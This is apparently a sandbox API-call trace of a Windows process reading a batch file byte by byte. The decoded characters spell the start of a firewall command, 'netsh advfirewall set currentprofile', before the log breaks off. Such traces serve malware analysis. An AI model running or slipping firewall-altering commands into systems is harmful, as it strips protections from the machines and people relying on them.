ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0109.484] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.484] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.484] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.484] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.484] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.485] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0109.485] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.485] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.485] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0109.485] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.485] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.485] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0109.485] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.485] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.485] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.485] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.485] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.486] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0109.486] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.486] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.486] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0109.486] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.486] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.486] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0109.486] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.486] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.486] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0109.487] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.487] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.487] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0109.487] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.487] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.487] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0109.487] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.487] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.487] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.488] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.488] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.488] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0109.488] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.488] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.488] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0109.488] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.488] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.488] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0109.489] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.489] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.489] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0109.489] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.489] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.489] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.489] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.489] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.489] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0109.489] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.489] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.490] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.490] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.490] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.490] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0109.490] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.490] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.490] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c5a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.490] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.490] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.490] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0109.490] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.490] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.491] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0109.491] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.491] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.491] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0109.491] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.491] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.491] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0109.491] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.491] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.491] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.491] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.491] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.491] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0109.492] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.492] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.492] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0109.492] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.492] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.492] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0109.492] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.492] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.492] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0109.492] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.492] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.492] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0109.492] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.492] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.493] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0109.493] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.493] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.493] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0109.493] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.493] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.493] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0109.493] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.493] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.493] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0109.493] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.494] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.494] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbfb21ffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesRead=0xbfb21ffa98*=0x1, lpOverlapped=0x0) returned 1 [0109.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=1, lpWideCharStr=0x7ff75b823c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0109.494] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.494] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.494] ReadFile (in: hFile=0x28c, lpBuffer=0x7ff75b819970, 